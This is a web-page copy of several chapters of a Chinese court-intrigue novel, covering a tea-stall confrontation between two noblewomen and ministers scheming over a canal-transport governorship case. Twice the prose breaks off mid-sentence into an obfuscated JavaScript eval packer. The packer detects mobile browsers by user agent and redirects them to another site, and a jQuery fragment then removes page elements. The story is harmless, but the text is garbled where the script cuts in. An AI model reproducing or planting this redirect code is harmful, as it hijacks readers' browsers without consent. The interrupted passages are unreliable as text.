她一时不察竟被推倒在地。 “李全胜！”周元月何时有受过这般耻辱，也顾不得体面大声喝道，“是谁给你的胆子竟敢跟我动手？” “雍王殿下只有保护太初姑娘的命令，如若冒犯到周姑娘，请姑娘见谅。”李全胜仍将王太初护在身后，丝毫没有去扶起周元月的打算。 等身侧的侍女将周元月扶起之时，这位万安城内的贵女，西境都督的独女已是满眼怒意，可却还不得不维持着基本的体面。 “雍王殿下？雍王殿下对王姑娘难道还是真心不成？如若没有通政使王抃，雍王殿下可真会管王姑娘的死活？”待身旁的侍女整理完周元月身上被压皱的衣衫，她收敛笑意又变成了万安成的周元月。 “周姑娘，妄自揣度殿下之意，罗织莫须有的说辞，可不要怪全胜无礼！” “李副将可真是只许州官放火，不许百姓点灯，周姑娘当下的意思不就是李副将想要表达的吗？怎么现下却不让旁人言说了？”周元月的这套说辞，王太初再是熟悉不过。这一路，总有人在她耳边念叨，说刘聿洵对自己的偏爱，也不过是想借着她父亲如今在朝堂中的地位帮自己争储罢了。 让她不解的是李全胜，在明州府之时，千方百计不惜将范金谦算计在内也要离间他们的感情，此刻有了旁人相助，他却反倒开始维护起来了。 “既然如此，李副将何不同我一起听听周姑娘接下来要说什么，我也想瞧瞧，关于雍王殿下还有什么我不知道的事情。”说完，她索性指了指官道边老榆树下的茶水摊，示意周元月去那里说话。 官道旁的茶水摊原本只是提供路人短暂歇脚之处，摊主是一个黢黑的老妪，守着个缺了口的铜壶。见王太初一行人走进棚中，瞧着来人各个衣饰光鲜，身份定然不简单，慌忙从那矮凳上站起身来，热情地招呼他们到棚角最干净的木案旁坐下。 “想来周姑娘特意等在此处，断不会像李副将所说那般，只为了说些无凭无据之事，定有切实凭据可讲，此刻不妨详尽道来，也别浪费我时间去猜了。” 路旁的茶摊不似城内的茶馆有珍茗美点，只有案上的粗陶碗里盛着老妪刚续满的粗茶和一碟干硬的麦饼。 周元月身旁的女侍将那矮凳擦了又擦，可椅面的黢黑却依旧顽固地留在那里。 无奈之下，她只好把自己的绢帕垫在椅面上，周元月这才肯不情不愿地落座。 “王姑娘在外数月，万安城内可是发生了不少事情。”王太初此刻的坦然像是一湾纹丝不动的深潭一般，让周元月那些绕着弯准备好的话瞬间没了落脚处。她不欲被对方所引，直接进入正题，便想慢些节奏，打算先喝口水稳住对方。 可视线刚落在那粗陶碗上，碗沿那圈没洗干净的茶渍却一下子吓退了她，让她不得不缩回了手。 “无碍，今日有的是时间，周姑娘可桩桩件件详尽说来。”在道旁的破茶棚里，王太初显然要比周元月更为自在，她索性掰起了案上的麦饼，一小口一小口吃了起来。 “王姑娘可知近月来，万安城内最是沸沸扬扬之事，是为何事？” “不知。”王太初将一小块麦饼放入口中，一副满不在乎的模样回答道。 “其一，自然是陛下要为雍王殿下指婚之事。”话到此处，周元月特意顿住了声。她存心没提陛下是为王太初与雍王指婚之事，想看看王太初会作何反应。却不想她依旧面无表情，只是慢嚼着口中的麦饼，不发一言。 “其二，便是漕运总督之位，最终归属何人之事。”见王太初未有反应，周元月便只能继续往下说。 周元月话落许久，王太初始终没有开口，只垂着眼，继续慢慢嚼着嘴里的麦饼。 等终于将那口麦饼吞下之后，才缓缓开口问道：“周姑娘等在此处就为了将这些事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594976|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告知与我？那还真是有劳姑娘费心了，我又不是万安城中街头巷尾的包打听，何苦要知晓这些事情？” 话刚说完，王太初便又往自己的嘴里塞了一块麦饼。 “我和姑娘说这些事，自然是因为这些事和姑娘都有关系。”见王太初一口口往自己嘴里塞着麦饼，周元月只觉得气不打一处来。长这么大，哪里有人敢在她说话时这般无礼进食，全然没将她放在眼里。 她自然是想像从前那样转身就走，可一想到此行的目的，便只能委屈自己忍耐下来，继续说道：“其一，陛下赐婚，所指乃是你与雍王；其二，漕运总督之位能落于兵部左侍郎顾允恪之手，凭的也是你的父亲，通政使王抃之力。” “周姑娘此言所为何意？漕运总督乃国家重职、朝廷要位，需经考核定夺，最终由陛下钦点。怎会仅靠王大人一人之力便能成事？你这话，莫不是在暗指王大人借势营私？”还未等王太初开口，李全胜率先便抢白道，“还是周姑娘觉得陛下惑于谗言，用人不当呢？” “瞧，这可不是我说的。”王太初嚼着麦饼将双手一摊说道，“周姑娘欲将陛下指婚和漕运总督择定联系起来，实在无需如此大费周章，免得语失反倒给自己招来祸事。” 说完，她转身假笑着对李全胜说道：“李副将亦无需借陛下之名吓唬周姑娘。你我都知，周姑娘想要说的无非就是，殿下借陛下指婚之旨，攀结于我的父亲。复又凭借此婚约，借我父亲之力，为其阵营中人谋升迁、求爵禄。总而言之，她想要说的无非就是殿下与我本无情分，唯将我视作棋子，置于这棋局之中罢了。” “哼，王姑娘何必作此阴阳之语？大可对着我直言，我所说的难道不是事实吗？王姑娘就没有过此怀疑吗？” “自然并非事实，旁人我不知晓，可我的父亲恪尽职守、政绩清明，我决不允许周姑娘将攀附权贵、结党营私这样的污名，强加于他。”提及自己的父亲，王太初先前强装的和颜悦色瞬间便消散了，她站起身来，垂着眼眸，压低声音说道，“我与雍王之间的事，与王家无关。我也奉劝周姑娘，姑娘亦不必总将自身困于这朝堂之中，旁人或许只视你为周都督之女，但你终要认清自己究竟是谁。” “王姑娘在万安城内已居一年有余，何以还是这般天真。你应当知道在此城之中，无人可以孑然独立。”眼见王太初又戳中了自己的痛处，周元月也猛地站起身来，分毫不让地对峙道，“今日若你不是通政使王抃家的姑娘，陛下又怎会留意到你？还为你和雍王殿下指婚？” “既如此，我便再言一事。无论是陛下旨意也好，父母之命、媒妁之言也罢，只要是我王太初不愿意嫁，这婚约便算不得数！”王太初将手中吃剩的半块麦饼往案上一丢，愤然说道。 言罢，她转身就要离开，可刚一回头，却撞进刘聿洵近在咫尺的视线里。 他满脸怒容，没有说话，只是直直地盯着自己，沉默了很久之后才开口问道：“你是说，这婚约作不得数？” 44. 第十一章 事情还要从蓟门闸码头漕船走水那日开始说起。 漕运船只出了意外本也不是要紧之事，大可以找背锅之人，此等小事，绝不会牵连到漕运总督的位子上。 但如果有人故意借此事大做文章，添柴加火，令事态变复杂，那便大不一样了。 李安泰久据漕运总督之位，早已令觊觎此职的文武百官甚为不满。加之此次事故恰好发生于万安城内，天子眼皮底下，刘聿恒又寻了人在暗处推波助澜。原本漕船走水的寻常案件，最后竟演变成了李安泰徇私枉法、贪赃舞弊的重案。 那些不知从何处冒出的苦主们，纷纷向刘祀递上奏呈，历数李安泰过往执掌漕运时的种种不法之举。什么虚报损耗、浮收勒折、勒索商民真倒是无恶不作。 一时之间，都察院御史弹劾李安泰的奏章竟至堆积如山，连赵普也难以压制这股势头。 李安泰原是赵普外甥，赵普素重声望、爱惜羽毛，明面上自然不肯为他出面打点，无奈之下，只得托付刘聿洵代为在朝中言语说情。 是以，才会有了那晚清茗轩中，赵普和刘聿洵的秘密会晤。 清茗轩那晚之后，刘聿洵便开始着手处理李安泰之事。 他先是仔细研读了诸多御史弹劾李安泰的奏章，从中梳理出关键证据和主要罪名。随后，他暗中派人去漕运沿线调查，企图从这奏章指控中找出无法坐实的部分成为他们翻身的关键。他甚至还跟李全胜因为李安泰之事特意秘密出了一趟城，可谓是在这件事上殚精竭虑。 也正是因为在保全李安泰的这件事上他的忙前忙后，他才彻底得到了赵普的信任，为刘聿洵的调查大开方便之门。 可纵是赵普这般深谙官场算计的老臣，也有失算之时。刘聿洵此刻看似为此事尽心尽力，腹中打的确是自己的算盘。 其一，满朝文武皆欲染指的漕运总督之位，刘聿洵自然也想将其收入囊中。其二，西境军粮案在蓟门闸断了线索之后，漕运这条线，便成了他追查此事仅存的希望。 此前他将大半时间都耗在此事之上，对王家之事便多有疏忽。他原想着，等自己回万安之时，再将陛下指婚的消息亲口告知王太初。可待他从城外返回万安城时，王太初早已随王绍安动身前往明州，迎娶赵盼儿去了。 他心中清楚，赵普若真心想与自己结盟，两人关系越是亲近，便越容不下王抃的存在，定会对王太初斩草除根。因而他当机立断，命李全胜即刻动身前往明州保护，而自己留在万安城内周旋。 李安泰的事情也如刘聿洵预料的那般，万安府府尹因为瘟疫失察之罪，判决尚未定夺。如此一来，李安泰的案子便顺理成章地落到了刑部手中。 刑部尚书洪保掌案向来恪尽职守，接手李安泰案之后，连夜提审人证、核对漕运账目，半分不敢懈怠。 他是断案一把好手，却也有缺点，那便是过于追求完美，断案时必求证据链严丝合缝，但凡有半分让他觉得不妥之处，便绝不轻易下结论。 寻常的案件尚且要这般审慎，更何况此案牵涉朝廷重臣，他更是半点不敢疏忽，每一步都要反复斟酌。 而刘聿洵和赵普便是利用这一点，让李安泰的罪名迟迟不能被定夺。 都察院那些弹劾李安泰的奏疏，多是其政治对手捕风捉影的风闻传闻，本就经不起细致核查。 而那些信誓旦旦、历数李安泰不法之举的官员，大多也拿不出实证；更何况那些所谓苦主，本就没和李安泰有过直接接触。这般情形，只需把罪责全推到下属身上，便也能轻易脱罪。 就这样，李安泰的案子在刑部压了足足一个月仍未了结。赵普见状，只当胜券在握，觉得只需再耗些时日，此事便能不了了之。 因而事情尚未真正尘埃落定之前，他便已借着感谢之名邀请刘聿洵来相府庆祝。一来，确是为了感谢刘聿洵这些时日的运筹帷幄，二来，也是为了更加拉近刘聿洵和自己的关系。 “本王看来，那些弹劾中伤李总督的折子大多也并无确凿证据，赵相尽管宽心，想来也定是掀不起什么波澜。” 赵普年事已高，素来饮食清淡。是以家宴不似旁人酣饮取乐，只设了几道素菜，伴以幽远的古琴声。 可那几道素菜看着素净，实则确是极其讲究。翡翠般的青菜只掐了嫩尖，用高汤焯得鲜灵；菌菇是晨间新采的，只简单蒸过，撒点细盐便已是满屋飘香；更值得一提的是那碟陈卤所点的老豆腐，切作方丁，浇以酱油香油之汁，点缀以少许葱花，入口豆香混着咸鲜，素净却适口。 “有劳殿下这些时日来对安泰的关心，他日此逆子若能够安然无恙，定要让其好好谢谢殿下。”赵普以茶代酒举杯遥敬刘聿洵。 “赵相客气了。此事本就定不了李总督之罪，无非是赵相不想让外界对您有徇私的看法，才让本王有了机会得以替李总督洗刷冤屈。” “殿下还愿相信此逆子，便是他的福分。此子我自小看其长大，要说调皮捣蛋是有，可这贪赃枉法定是万万也不敢的。”赵普膝下无子，便将所有期许寄于这个外甥。在朝中屡屡为其铺路，连实务都亲授指点，一路扶着他坐上了漕运总督之位。 “自然如此，李总督自小受赵相的教导，自然是行事端正之人。”刘聿洵顺着赵普的话往下说道，“只是赵相也知洪保的为人，此人甚是谨慎心细。证据链不完整时，他不会贸然给李总督定罪，却也会因这证据不全，迟迟不肯松口，硬是将李总督扣在牢中，叫其脱不了罪。 “哎！这也正是老夫所担忧的。此子自小体弱，刑部狱又暗无天日，潮湿阴冷，日子一长，恐其难以支撑。今日老夫邀殿下前来，也是想同殿下商量一番，是否有让刑部判其无罪的可能性？” “这些时日，本王也一直在考虑这个问题，在案情胶着之时，如何可以找到破局之法。先前我也寻了些过往案例来参详，琢磨出一个法子，或许能破解眼前的困局。” “哦？请殿下说来听听。”听到刘聿洵有了主意，赵普浑浊的眼睛似是忽然亮了亮。 “古往今来，每逢案件胶着难断，主审官常会问询旁人，探问嫌疑人平日品行，作为断案的参考。”刘聿洵润了润喉，继续说道，“因而我在想，是否也可让刑部效仿此法，找旁人证明李总督为人处事光明磊落，所涉指控皆为莫须有？” “如若真能如此便是最好，届时我寻几个朝中同僚作证便可。” “赵相稍安勿躁，且听本王说完。这人选也是颇为讲究，不可是随意无关之人。一则，他们需是有身份体面之人，若非如此，其言无人采信，自然不可作数。二则，需选与李总督平日有往来之人，若非如此，其信口开河，亦无人相信。三则，这些人须是赵相所信之人，不然若任由其口无遮拦，非但无益，反倒会适得其反。如此盘算下来，这样的人便并不多了。”刘聿洵侃侃而谈，显然已是心有丘壑。 “殿下如此细算，可是有了合适的人选？” 刘聿洵自小在兵部军营摸爬滚打，对于他的勇冠三军，赵普已是早有耳闻。现如今看来此人不仅骁勇善战，谋算布局亦属上乘。 他缓缓眯起眼睛，目光如猎鹰锁定猎物般盯着刘聿洵，心中暗忖：这般智勇兼备之人，绝对不能让其和王抃牵扯在一起。 “漕运总兵，钱一标。”刘聿洵来此之前，已经想好了钱一标这个人选。 “钱一标？”赵普手抚长髯，指腹轻轻摩挲着须尖，口中低低唤着这个名字。他眉间微蹙，似在斟酌盘算。 “没错，钱一标，在本王看来，眼下没有比此人更合适的人选了。” “殿下方才说的条项，此人确实是条条吻合。只是老夫还有疑虑，只此一人，对洪保而言，是否有说服之力？” “我知此时赵相所想究竟是何。”刘聿洵笑笑，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刘聿洵封藩回京，我令赖长兴那些御史集中弹劾他，都没能将其逼到我的身边来。今日他都要同王家那姑娘成婚了，却反倒接下了我抛出去的橄榄枝。”赵普回过头，似玩笑一般问道，“你说这雍王殿下葫芦里卖的是什么药？” “其他奴才不知。奴才只知，这王抃同姥爷定是上不到一艘船上去的。” “听说王家那女郎离京回了明州府？”赵普没有接着往下说，反倒问起了王太初。 “是，王家女郎的事情，奴才已经安排妥当了。”在赵普身边那么多年，蔡衷最是知道他的心思，凡事总能想在前头。 就好比此时赵普才想起的那个王家不起眼的丫头，说不定早已经丧生在了蔡衷安排的刺客刀下。 “蔡管事方才的意思是，我不该答应刘聿洵将钱一标再牵扯进来？”听到蔡忠的回答，赵普才又说起方才的话题。 “奴才不敢，一切都由姥爷做主。只是奴才同姥爷一样，觉得雍王殿下甚是反常，不可全信。” “哈哈哈，你当真以为老夫老眼昏花，脑袋糊涂吗？刘聿洵和刘聿恒又何尝不是连着血缘的亲兄弟，他们两个尚且还争得你死我活，倒是在我跟前论起了什么血亲？”赵普看着刘聿洵马车消失的方向，冷着脸说道，“李安泰始终站在我这边或许是假，但刘聿洵说的有一点确是对的，那就是钱一标也并非全可信赖。” 虽说赵普已是体态苍老，眼神浑浊，却还似从前那般沉稳精明。数十载宦海浮沉，让他不再轻易相信任何人。 “此番钱一标再被卷入其中，我尚且还能再将其拉出来。可试探钱一标忠诚和刘聿洵同心的机会却少之又少。刘聿洵如此笃定要让钱一标为安泰说项，说不定此两人早便有了勾结，正等着机会对安泰一击毙命。”赵普垂着眼，浑浊的目光似蒙着层薄雾，“帮我找人盯着他们两个。” “奴才遵命。” 蔡衷盯着眼前的服侍多年的老者，猛然惊觉自己方才的担心竟如此可笑。 他可是赵普，是大庆的赵相。 45. 第十一章 漕督之争（三） 碍于李安泰身份特殊，刑部迟迟不敢轻易断案。此时有刘聿洵提出“旁证博引，人品断案”的方法，洪保便顺着就应承了下来。 只是他未想到，那些自己传唤的证人还没到，自己的宅院却先迎来了礼部尚书吴钩。 书房里，女侍续上新茶之后，便悄无声息地退到了书房外。 洪保和吴钩同为朝廷重臣，二人性格相去甚远，一刚一柔，宛然两极，却私交甚好。 洪保居刑部尚书之位，素性刚直，行事不避锋芒；吴钩任礼部尚书，性温婉柔和，唯善逢迎周旋。 因而洪保若遇不知礼仪典章之时，必向吴钩请教；吴钩见洪保断案时偶因刚直开罪他人，亦会婉言提点，劝其审慎。 “吴尚书来得正是时候，前些日子我刚得了这虎丘白云茶，也不知是不是真。公见多识广，烦请帮我瞧瞧。”对于吴钩的突然到访，洪保不但不恼，反倒像是期盼了许久。 “这虎丘白云茶产量极低，吴某也只在曹贵妃处饮过一回，早已是忘了是何滋味。”吴钩谦虚摆摆手，轻抿一口，忽觉眼睛一亮，赞叹道，“这虎丘白云茶果真是清甘沁脾，回甘悠长，虽只饮过一次，可这一入口，便就能让人回想起来，果真是稀有。洪尚书是从哪里得的这好茶？” “瞧瞧瞧，都说这吴尚书舌头金贵，果然这稀罕之物问你便不会有错。”洪保哈哈一笑说道，“此茶我也是偶然得之。若吴尚书喜欢，我便让奴才帮你包上一些，带回家去。” “好好好，那吴某便不客气了。我也只是恰好在这礼部的位子上，承蒙陛下厚爱，多瞧了一些好东西罢了。”吴钩谦虚说道，“洪尚书在我的位子上定是要比我懂行。礼部行文自有规章，按照章程行事便可，可洪尚书的刑部就不同了，桩桩件件，各有不同，才是真正费心之事。” “哎，想来吴尚书也有所耳闻，近来李总督之事确实让我烦扰。”洪保长叹一口气，抿了口茶说道，“那些弹劾李安泰的奏折大多都是风闻之言，而那些弹劾他的官员，有的甚至跟李安泰都不曾相识，可这万安府的官员却直接将其关在了我刑部狱，给我找了个好大的麻烦。” 言至此处，洪保便只能连连摇头。 “原本今日吴尚书不来寻我，我也是要找个时间去向吴尚书请教的。” 洪保虽性刚直，却也知道万安城中，何人可得罪，何人万不可得罪。若李安泰一案证据确凿、无可辩驳，他也可不顾赵普的面子，当庭签发判书。可偏偏此案疑点甚多，处处皆是疏漏，令他难以决断。 “这还不简单，洪尚书直接把李总督放了不就行了，届时跟赵相和李总督道个歉，想来也不是什么大事。” “如若真能如此简单就好了，这人却也不是想放就能放的。你说虽没办法给其定罪，却也没办法全然不顾那些御史的奏疏。更何况，这背后还有太子的势力。” “太子？”吴钩将手放到嘴前，示意洪保噤声，“洪尚书可休要胡言啊！这太子跟李总督向来没有往来，怎会在此事上多管闲事？” “哎，吴尚书有所不知，那些弹劾李总督的御史中便混了不少太子的人。后来我也找人调查过漕船走水那日蓟门闸的情况，你猜怎么着？”洪保凑近吴钩，放低声音说道，“那日蓟门闸事发之时，还有京营的官兵在场？” “京营？这蓟门闸和京营完全是两个方向，蓟门闸也不是京营的管辖范围，京营的兵怎么会出现在那里呢？” “可不是吗？要说御史中有太子的人还可说是巧合，或许是他们恰巧听闻了李安泰之事。可蓟门闸出现京营的人可不得不让我怀疑此事和太子有关了啊。”言及此处，洪保面上更添颓然。 “那可就不好办了。”吴钩摩挲着茶盏，陷入沉思，多时之后才再开口道，“若真能公事公办倒也是简单，但若扯上党争那可就是左右不是人了。” “谁说不是呢？正是因为如此，洪某我是一日日都睡不着。”洪保将手中的茶一口饮尽，满嘴皆是苦涩的味道，“好在昨日雍王殿下替我出了一个主意，说是找旁人来给李总督作证，凭其品性断案。” “凭品性断案？如若真是无解，此法倒也是可解燃眉之急。”吴钩笑问道，“只是不知雍王殿下可有说都要找些何人？” “这个殿下倒是未说。”李安泰案的背后，实乃各方权贵暗中角力、互为博弈。洪保心中明了，断不会傻到再将雍王卷入此事，徒增纷扰，令局面愈发复杂难控。 若洪保尚有他法可断此案，恐怕连雍王殿下所提之策，他亦不会采纳。 “那洪尚书心中可有人选？” “吏部尚书魏瑾，往年漕运总督之考核事宜，其皆了然于心，实为合适人选。” “还有呢？”吴钩再问。 “都察院右督御史朱学礼，朱副宪素以公正著闻。若其开口，想必其余御史也不敢妄言。” “可还有其他？”吴钩又问。 “其他？”洪保琢磨了一个晚上，才琢磨出这样两个人，其他人选他是再也想不出来了，见吴钩提起，便索性向其问道，“吴尚书可有合适人选。” “这断案之事我礼部官员本不该插手，可洪尚书毕竟同我交厚，我也不能坐视不管。”吴钩犹豫了片刻，才开口劝说道，“吴某觉着，只此两人并不合适。” “愿闻其详。”洪保凑近问道。 “朱副宪名满朝野，但凡他开口定调，无论那些御史是谁的爪牙，皆不敢再多置喙，实为举荐之首选。”说完吴钩便停了下来，似是犹豫。 “吴尚书是觉得，魏尚书不妥？” “魏尚书掌吏部之权，位列天官，评价百官本就是其分内之责，也算合适。” “那吴尚书所为何意？”洪保不解问道。 “洪尚书难道忘了，魏尚书除了是吏部尚书之外，还有另外的身份？” “幸得有吴尚书及时提点，若非如此，今日我怕是要得罪赵相了。”洪保一拍大腿，惊呼道，“魏尚书乃太子叔父，若仅择此二人为证，赵相恐会心生疑虑，误以为本官寻此二人作证，实则是欲将李总督置于险境。” “诚然。赵相虽素来秉公执法，未必存此念头，然你我行事，还是须小心谨慎才是。” “正是正是，看来还需得再多加一人才是。”洪保险些为自己的疏忽得罪权臣，此时更是谨严了起来，“此人还需得让外人瞧来，是站在李总督那边的才行，这样瞧着才算平衡。” “正是。至少要在旁人看来，此决定当与你洪尚书无涉。” “但这般人物，恐怕是不好找。赵相显已不欲介入李总督之案，其左右之人恐难出面作证。如此一来，我当真是想不出满朝文武有何人是能站在李安泰这边的。” “洪尚书若不介意，本官倒是有个想法。” “请吴尚书明讲。” “欲旁证博引，吏部和都察院固然皆为良选。可本官觉得找李总督之属吏问计求据也少不得。” 书房内有要事相商，府中女侍遂没有入内伺候。吴钩见洪保盏中茶水已尽，便抬手为其续上。 “漕运的人？” “对，漕运之人，至少他们在你我这般局外人看来，当是助李总督的。” “吴尚书此言有理。如果是漕运中人的话......”洪保拿起茶盏摩挲着陷入了沉思，不一会儿，心中便有了合适的人选，开口问道，“漕运总兵钱一标，吴尚书觉得如何？” “漕运总兵和漕运总督，当是漕运事务中交涉最多之人，亦当是最有发言权的。再者，我听闻钱一标亦为李总督所提拔，自当是站在李总督这边。吴某亦觉着，此人选甚佳。” “能得吴尚书赞同，本官便放心了。” 纵观整个万安城，吴钩之能，于政务一道未必顶尖，可其观人神色、辩人心意的本事，实属上乘。有了吴钩的首肯，洪保便觉着此事不日便可了结了。 “哎！我赞成又有何用处，重要的还是要看洪尚书如何断案。”见洪保一副胸有成竹的样子，吴钩瞧着却不乐观，他哀叹道，“待过堂之后，听过三位大人所言，吴尚书又当如何断此案件？” “那自然是大人们如何说，便如何断。”此三人选，洪保亦有自己的小心思。 此三人中，魏瑾乃太子麾下之人，而太子之意，亦显然欲将李安泰自漕运总督的位子上罢黜。钱一标本是李安泰心腹之人，其出面作证定是力保李安泰得以留任。剩下的就是朱学礼了，此人素来有话直说，自己取其最后决断便可。 “我猜洪尚书定是和我所想的一样，要让朱副宪来做这个决断。”洪保的心思，自然也并不难懂，旁人尚且能看透，更何况是吴钩。 “哈哈哈，什么都瞒不了吴尚书。”洪保本也不想隐瞒，便索性承认了下来说道，“吴尚书尽管可以觉得本官尸位素餐，然李总督此案，实非本官所能为也。” “洪尚书何出此言，正因知道此案 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“唉，洪尚书此言差矣。”见洪保没了方才的气势，吴钩阻止道，“这万安城内，何来这许多仙家？洪尚书可万勿弄错才是。” “难道此话我还有错吗？还不是这些......”说着说着，洪保的声音渐渐低了下去，似是忽然悟到了什么，话锋一转问道，“吴尚书，近日可曾见过皇上？可知皇上对此事作何看法？” “哈哈哈，洪尚书如此问，我便宽心了。”吴钩笑看着洪保说道，“这万安城内哪里来得那么多神仙，真正的神仙只有陛下一人。” “是是是，吴尚书说得对。”洪保一心陷在太子和丞相的纷争里，反倒忘了二人皆需听命于陛下。说到底他俩谁也算不上关键，最终拿主意的还得是皇帝陛下。 “吴尚书日常与陛下碰面的机会多，不知可曾听闻陛下提及此事？” “在本官面前，陛下从未提及过此事。”吴钩摇头说道。 “那可让我如何参详？” “陛下半句未提李总督，倒是越让我觉得他的态度再是明显不过。”见洪保心下焦躁，吴钩也就不再卖关子，径直说了下去，“陛下虽未对我明言，可是你我都知道，若陛下不点头应允，任凭是谁，也断不敢将赵相的亲外甥关在你刑部狱中。” “吴尚书的意思是撤换李总监是陛下的意思？” “本官也只能从陛下的言行中揣摩圣意罢了。”吴钩摆手说道，“洪尚书可还记得去岁吏部考核之事？关于漕运总督之位，洪尚书可有耳闻？” “这般要紧之事，我自然知晓。彼时吏部早将漕运总督的候选者报给了陛下，可陛下却转手把这位置的人选交予赵相定夺。”洪保边说着边观察吴钩的反应，“可正因如此，才足见陛下对漕运总督一职，本就有意保全李总督啊。” “洪尚书所言极是。昔日陛下为保全李总督，不顾吏部的意见，将漕运总督的人选之权交予赵相。而今李总督已囚于你刑部狱中，陛下却丝毫没有表示，我想没有表示便是陛下的态度了。” “如此说来，也是这个理。”这会子洪保只觉脑中乱成一团，只能循着吴钩的思路亦步亦趋。 “故而洪尚书只需将那三人妥善寻来，便可脱了自身干系。至于最终如何判罚，终究要遵循陛下的意思。” “吴尚书的意思是让我判有罪？” “哎！不是我的意思，是陛下的意思。”吴钩闻言，连连摇头道，“也断不能判有罪，倘若那些指控全成了真，李总督怕是不仅保不住体面，恐怕连性命也难保了。” “吴尚书的意思是只保性命，而不保体面？”洪保听出了吴钩话中的意思，却不免多问了一句以求心安。 “此事分寸在洪尚书。”吴钩似笑非笑地将盏中茶水饮尽，指尖轻轻扣了扣杯沿。 此人本就是官场上最滑的那条泥鳅，话只说三分，从不会把责任揽到自己身上。 待送走吴钩，洪保才缓缓起身，叫来了一直守在门外的管事。 “可有将那虎丘白云茶给吴尚书包好？”他边问着，边抬手用小银锄给身旁的兰花松了松土。 “启禀老爷，已包好让吴尚书带回府了。” “很好，那便给我传出去，说吴尚书的府中有虎丘白云茶。”言罢，他将小银锄往那花盆里一扔，锄尖磕在盆沿上，发出“当”的一声轻响。 46. 第十一章 李安泰终审之事，经旁证博引、刑部过堂，终顺利定谳。 其余指控皆因证据不足而被驳回，洪保唯将蓟门闸漕船走水的失察之罪，加于李安泰之身。 由此，李安泰以考绩中下，失去漕运总督之职，待后调任。 赵普心中自是大怒，当即使人将那日刑部过堂的始末细节原原本本向他说了一遍。 那日，吏部尚书魏瑾虽未明言李安泰平日德行有亏，却于暗中言语间，悄然将其评了个低品。漕运总兵钱一标虽为李安泰属吏，然为求与他疏隔，只得稍加维护，不敢全力相挺。而朱学礼素来与李安泰无甚往来，故对其人品不予置评。 如此一来，赵普对此判罚，竟也无计可施。只得委曲求全，开始为钱一标谋划起了漕运总督之位。 原这漕运总督之位，由漕运总兵接手，也是常例。毕竟漕运总兵常年督管漕船、稽查河道，熟悉漕运上下游的关卡利弊与水手、商船的往来门道，论实务经验远胜外调官员。 可偏偏这个时候兵部尚书郑岐玉却向太宗提议由兵部左侍郎顾允恪出任漕运总督一职。 兵部是雍王刘聿洵的臂助，郑岐玉所言便是刘聿洵所想。 赵普原本对自己和刘聿洵的结盟便不多信任，早便安排人手暗中探查，可得到的消息确是全无瑕疵。 这些时日，他不仅没有和钱一标有过接触，就连往日过从甚密的兵部也并未来往，只是将一门心思全花在了整顿巡防营之上。 今刘聿洵是有心避之，还是实无勾连，已不再重要。赵普只知，漕运总督的位置，必须落在自己人手中。 故他派人传书与刘聿洵，愿其从中斡旋，劝兵部暂弃此职。 而赵普之请，对于刘聿洵来说亦属合理。万安城内谁人不知，兵部郑岐玉向来支持自己，就算表面上择得再干净，也终究难免猜疑。 此时若还说些官话撇清干系，反倒更引人猜忌。 正在刘聿洵被困在局中之时，王绍安自明州府回来了。 随即，刘聿洵便令手下捎话给赵普，称会让顾允恪暂且舍弃此位，自己则趁夜色偷偷摸进天吉巷的王府，见到了那个刚刚获封翰林院修撰的今科状元王绍安。 见有人深夜不请自来，王绍安先是心生警觉，待看清来人模样，才停住去唤府中护院的脚步。 “草民拜见雍王殿下。”虽对刘聿洵的擅闯民宅不满，可基本的礼数王绍安还是未忘。 “听闻今日宫中已来了旨意，恐怕此时王公子再自称草民怕是不妥吧。”刘聿洵能在王府精准找到王绍安所居莫言堂也是有赖王太初平日的多语。 “幸得那日殿下提点，才让我决意科举，如今方能得此报效社稷之机。” 莫言堂本就地处僻静，王绍安又非喜欢热闹之人，因而入夜之后也并无外人在侧。 刘聿洵此行并不想让外人知晓，此时正好给他省了麻烦，索性没等王绍安邀请，便自己找了一个客位坐了下来。 “本王不敢贪功，想必万安城的那场瘟疫已是让王公子下了决断，我说与不说，都不是最打紧的。” 王绍安只是笑笑，并未否认。 在给刘聿洵倒了一杯茶水之后，便找了就近的客位一起坐下。 “只是有一事本王不明，万安城中，诸多有实权、掌利禄的衙门，皆上疏于父皇，欲得公子。可听闻王公子却独独选了翰林院修撰之职，此又为何？” “翰林院虽如殿下所言，无实权、无肥水，可却能时常与陛下参详国策，又能与馆阁诸公切磋经史，与我而言已是天恩。”王绍安双手微抬向右上方虚拱，以示对太宗的感恩开口道。 “自是如此，往年状元皆是从翰林院修撰做起，王大人若应下这握实权、享厚利的旁职，外人难免会说王家恃宠而骄。” 比起方才自己所言，刘聿洵此刻这番话，才是王绍安最初便考量到的。 他虽未说其他，却也道出了自己的遮遮掩掩。 眼前的雍王殿下，早已没了前几次见面时的高高在上，反倒没了架子，直言的样子瞧着竟有几分王太初的模样。 “太子深夜翻墙来访可有何要紧之事？” “哦？为何是要紧之事？王公子怎知我不是来找太初姑娘的？” “自然不会。其一，殿下的副将目前尚在明州府内，想必会时常向殿下报告家妹的行踪，殿下定知，家妹并未同我回京。其二，殿下乃磊落君子，定不会行深夜翻墙寻姑娘这等事。如此行事既要折辱殿下名声，于家妹名节亦是不妥。” “这磊落君子的名声我尚且收下，可这第一点，我却需得跟王公子解释一番。”刘聿洵将盏中茶水喝完，自顾自又给自己续上，才继续说道，“让李全胜跟去明州并非为了监视太初，而是为了保护她，我这般说，王公子可信？” 王绍安只抿了口茶，没有说话。 